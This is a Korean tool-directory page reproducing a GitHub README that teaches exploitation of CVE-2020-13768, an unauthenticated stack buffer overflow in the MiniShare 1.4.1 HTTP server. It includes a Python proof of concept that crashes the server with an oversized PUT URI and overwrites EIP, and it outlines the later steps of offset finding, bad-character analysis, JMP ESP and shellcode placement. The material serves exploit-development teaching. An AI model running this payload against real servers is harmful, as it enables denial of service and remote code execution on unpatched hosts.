Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/themalwareguardian/cve-2020-13768
Vulnerability AnalysisExploitationShellcodeDebuggersWeb SecurityFuzzingPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHubthemalwareguardian/cve-2020-13768

CVE-2020-13768

25개월 전아직 검토되지 않음

MiniShare 1.4.1에서 단일 HTTP PUT 요청을 통해 도달 가능한 스택 기반 버퍼 오버플로우

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🐞 CVE-2020-13768: MiniShare 1.4.1 - 스택 기반 버퍼 오버플로

MiniShare 1.4.1의 스택 기반 버퍼 오버플로는 단일 HTTP PUT 요청으로 도달할 수 있습니다.




📑 목차

  • 이 저장소가 존재하는 이유
  • 이 취약점이 흥미로운 이유
  • 배경 및 영향을 받는 소프트웨어
  • 취약점 정보
  • 크래시 유발
  • 익스플로잇



🎓 이 저장소가 존재하는 이유

이 저장소는 제가 메모리 손상 익스플로잇을 가르칠 때 사용하는 자료의 일부입니다 (정규 업무 외에도 여러 사이버 보안 강좌에서 강의하며 차세대 리버스 엔지니어를 양성하는 데 도움을 주고 있습니다).

CVE-2020-13768은 단순한 네트워크 노출 서버가 표준 프로토콜 메서드를 통해 전형적인 스택 기반 버퍼 오버플로를 어떻게 노출할 수 있는지 보여주고자 할 때 사용하는 사례입니다. 취약한 엔드포인트는 인증이 필요 없고, 오버플로는 직접적인 EIP 덮어쓰기이며, 익스플로잇 경로는 깔끔하고 명확하게 정의되어 있습니다. 실제적인 무인증 원격 시나리오에서 전체 익스플로잇 방법론을 배우기에 이상적인 사례입니다.

또한 이 사례가 교육 자료로서 흥미로운 이유는, 소독되지 않은 입력이 고정 크기 스택 버퍼로 복사된다는 동일한 근본 원인이 동일한 바이너리에 대한 여러 CVE 항목에 걸쳐 나타난다는 점입니다. CVE-2018-19861, CVE-2018-19862, CVE-2019-17601 모두 동일한 클래스의 취약점을 설명하며, 단지 다른 연구자들이 다른 HTTP 메서드나 엔드포인트를 통해 보고했을 뿐입니다. 이는 학생들에게 CVE 번호만이 아닌 근본 원인을 살펴보도록 가르칩니다.




💡 이 취약점이 흥미로운 이유

이 취약점은 단순한 로컬 파일 공유를 위해 설계된 단종된 경량 Windows HTTP 서버인 MiniShare 1.4.1에 영향을 미칩니다. 이 소프트웨어는 현대적인 보안 관행을 염두에 두지 않고 작성되었습니다. 교육적 관점에서 이 사례가 특히 흥미로운 이유는 관련된 요소들의 조합 때문입니다:

  • 인증 불필요. HTTP PUT 메서드는 어떠한 자격 증명 검사도 없이 처리됩니다. 네트워크상의 모든 원격 공격자는 단일하게 조작된 요청으로 이 취약점을 트리거할 수 있습니다.
  • 공격 벡터로 사용되는 표준 프로토콜 메서드. 오버플로는 HTTP PUT 요청을 통해 트리거됩니다 — 커스텀 프로토콜이나 난해한 명령이 아닙니다. 이는 표준적이고 잘 알려진 프로토콜 메서드가 독점 인터페이스만큼 효과적으로 익스플로잇 페이로드를 전달할 수 있음을 보여줍니다.
  • 직접적인 EIP 덮어쓰기. 오버플로는 저장된 반환 주소에 직접 도달하여 덮어쓰므로, SEH 체인이 관여하지 않는 교과서적인 바닐라 스택 버퍼 오버플로입니다.
  • 동일한 바이너리, 여러 CVE. CVE-2018-19861, CVE-2018-19862, CVE-2019-17601은 동일한 소프트웨어에서 동일한 클래스의 취약점을 설명합니다. 서로 다른 연구자들이 서로 다른 HTTP 메서드나 엔드포인트를 보고했기 때문에 서로 다른 CVE 항목이 할당되었지만, 바이너리를 리버스 엔지니어링하면 모두 길이 검증 없이 소독되지 않은 입력이 고정 크기 스택 버퍼로 복사된다는 동일한 근본 원인을 공유한다는 것이 분명해집니다.

이러한 조합 덕분에 CVE-2020-13768은 실제적인 무인증 시나리오에서 네트워크 기반 버퍼 오버플로 익스플로잇의 기초를 가르치기에 훌륭한 사례입니다.




🔍 배경 및 영향을 받는 소프트웨어

MiniShare는 LAN을 통한 빠른 로컬 파일 공유를 위해 원래 설계된 최소한의 Windows HTTP 서버입니다. TCP 포트 80에서 수신 대기하며 GET 및 PUT을 포함한 소수의 HTTP 메서드를 처리합니다. PUT 핸들러는 들어오는 요청을 처리하고 URI 경로를 길이를 검증하지 않고 고정 크기 스택 버퍼로 복사합니다.

주요 기술 세부 사항:

  • 취약점 유형: 스택 기반 버퍼 오버플로
  • 영향을 받는 버전: MiniShare 1.4.1 및 이전 버전
  • 영향을 받는 엔드포인트: HTTP PUT 요청
  • 취약한 구성 요소: PUT 핸들러의 URI 경로 처리
  • 필요한 인증: 없음
  • 영향: 원격 코드 실행



⚠️ 취약점 정보

MiniShare는 들어오는 HTTP 요청을 처리하고 메서드에 따라 적절한 핸들러로 전달합니다. PUT 핸들러는 요청에서 URI 경로를 추출하여 길이를 확인하지 않고 고정 크기 스택 버퍼로 복사합니다.

취약한 로직의 단순화된 버전은 다음과 같습니다:

root@kitploit:~
char path_buffer[256];

strcpy(path_buffer, uri_path);

대상 버퍼는 고정 크기이고 입력 길이는 검증되지 않으므로, PUT 요청에 충분히 긴 URI를 보내면 복사가 버퍼 끝을 넘어 쓰여지고 결국 스택에 저장된 반환 주소(EIP)에 도달하여 덮어씁니다.

취약한 함수가 반환되면 CPU는 스택에서 공격자가 제어하는 값을 EIP로 로드하고 해당 주소로 점프합니다. 해당 주소가 셸코드를 포함한 공격자 제어 데이터를 가리키면 임의 코드 실행이 달성됩니다.




💥 크래시 유발

HTTP PUT 요청에 과도하게 긴 URI를 전송하면 크래시를 재현할 수 있습니다. 인증은 필요하지 않습니다. Python을 사용한 예제:

root@kitploit:~
import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 3000

request = (
	b"PUT /" + payload + b" HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Connection: close\r\n"
	b"\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()

디버거에서 실행하면 크래시 시 EIP가 사용자 제어 데이터로 덮어써진 것을 확인할 수 있습니다:

root@kitploit:~
EIP = 41414141

이를 통해 저장된 반환 주소가 오버플로로 인해 손상되었음이 확인됩니다.




💣 익스플로잇

이 저장소의 목표는 크래시를 시연하는 것뿐만 아니라, 실제 스택 기반 익스플로잇을 개발할 때 사용하는 방법론에 따라 전체 익스플로잇 과정을 단계별로 살펴보는 것입니다.

메인 README를 깔끔하게 유지하기 위해 상세한 익스플로잇 노트, 스크립트 및 디버거 단계는 이 저장소의 Vulnerability 📂 폴더에 있습니다.

이 CVE를 익스플로잇하는 데 사용된 전체 워크플로우를 확인할 수 있습니다:

  • 크래시를 식별하기 위한 PUT URI 퍼징.
  • 스택에서 EIP의 정확한 위치를 찾기 위한 오프셋 탐색.
  • 페이로드를 손상시키는 바이트를 식별하기 위한 배드 캐릭터 분석.
  • ASLR이 없는 로드된 모듈에서 JMP ESP 가젯 찾기.
  • 셸코드 배치 및 실행.
도구 다운로드